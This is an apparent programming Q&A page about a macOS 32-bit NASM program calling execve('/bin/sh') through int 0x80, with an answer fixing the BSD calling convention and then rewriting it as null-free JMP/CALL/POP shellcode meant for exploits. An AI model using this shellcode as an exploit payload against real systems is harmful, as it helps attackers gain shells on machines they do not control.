Search code examples
macosassemblyx86nasmshellcode

Why syscall doesn't work?


I'm on MAC OSX and I'm trying to call through assembly the execve syscall.. His opcode is 59 . In linux I have to set opcode into eax, then parameters into the others registers, but here I have to put the opcode into eax and push parameters into the stack from right to left.

So I need execve("/bin/sh",NULL,NULL), I found somewhere that with assembly null=0, so I put null into 2nd and 3rd parameters.

global start 
section .text
start:
    jmp string
main: 
    ; 59 opcode
    ; int execve(char *fname, char **argp, char **envp);
    pop ebx             ;stringa
    push 0x0            ;3rd param
    push 0x0            ;2nd param
    push ebx            ;1st param
    add eax,0x3b        ;execve opcode
    int 0x80            ;interupt
    sub eax,0x3a        ; exit opcode
    int 0x80
string:
    call main
    db '/bin/sh',0

When I try to execute it say: Bad system call: 12


Solution

  • 32-bit programs on BSD (on which OS/X is based) requires you to push an extra 4 bytes onto the stack if you intend to call int 0x80 directly. From the FreeBSD documentation you will find this:

    By default, the FreeBSD kernel uses the C calling convention. Further, although the kernel is accessed using int 80h, it is assumed the program will call a function that issues int 80h, rather than issuing int 80h directly.

    [snip]

    But assembly language programmers like to shave off cycles. The above example requires a call/ret combination. We can eliminate it by pushing an extra dword:

    open:
    push    dword mode
    push    dword flags
    push    dword path
    mov eax, 5
    push    eax     ; Or any other dword
    int 80h
    add esp, byte 16
    

    When calling int 0x80 you need to adjust the stack pointer by 4. Pushing any value will achieve this. In the example they just do a push eax. Before your calls to int 0x80 push 4 bytes onto the stack.

    Your other problem is that add eax,0x3b for example requires EAX to already be zero which is almost likely not the case. To fix that add an xor eax, eax to the code.

    The fixes could look something like:

    global start
    section .text
    start:
        jmp string
    main:
        ; 59 opcode
        ; int execve(char *fname, char **argp, char **envp);
        xor eax, eax        ;zero EAX
        pop ebx             ;stringa
        push 0x0            ;3rd param
        push 0x0            ;2nd param
        push ebx            ;1st param
        add eax,0x3b        ;execve opcode
        push eax            ;Push a 4 byte value after parameters per calling convention
        int 0x80            ;interupt
        sub eax,0x3a        ; exit opcode
        push eax            ;Push a 4 byte value after parameters per calling convention
                            ; in this case though it won't matter since the system call
                            ; won't be returning
        int 0x80
    string:
        call main
        db '/bin/sh',0
    

    Shellcode

    Your code is actually called the JMP/CALL/POP method and is used for writing exploits. Are you writing an exploit or did you just find this code online? If it is intended to be used as shell code you would need to avoid putting a 0x00 byte in the output string. push 0x00 will encode 0x00 bytes in the generated code. To avoid this we can use EAX which we are now zeroing out and push it on the stack. As well you won't be able to NUL terminate the string so you'd have to move a NUL(0) character into the string. One way after zeroing EAX and popping EBX is to move zero to the end of the string manually with something like mov [ebx+7], al. Seven is the index after the end of the string /bin/sh. Your code would then look like this:

    global start
    section .text
    start:
        jmp string
    main:
        ; 59 opcode
        ; int execve(char *fname, char **argp, char **envp);
        xor eax, eax        ;Zero EAX
        pop ebx             ;stringa
        mov [ebx+7], al     ;append a zero onto the end of the string '/bin/sh' 
        push eax            ;3rd param
        push eax            ;2nd param
        push ebx            ;1st param
        add eax,0x3b        ;execve opcode
        push eax
        int 0x80            ;interupt
        sub eax,0x3a        ; exit opcode
        push eax
        int 0x80
    string:
        call main
        db '/bin/sh',1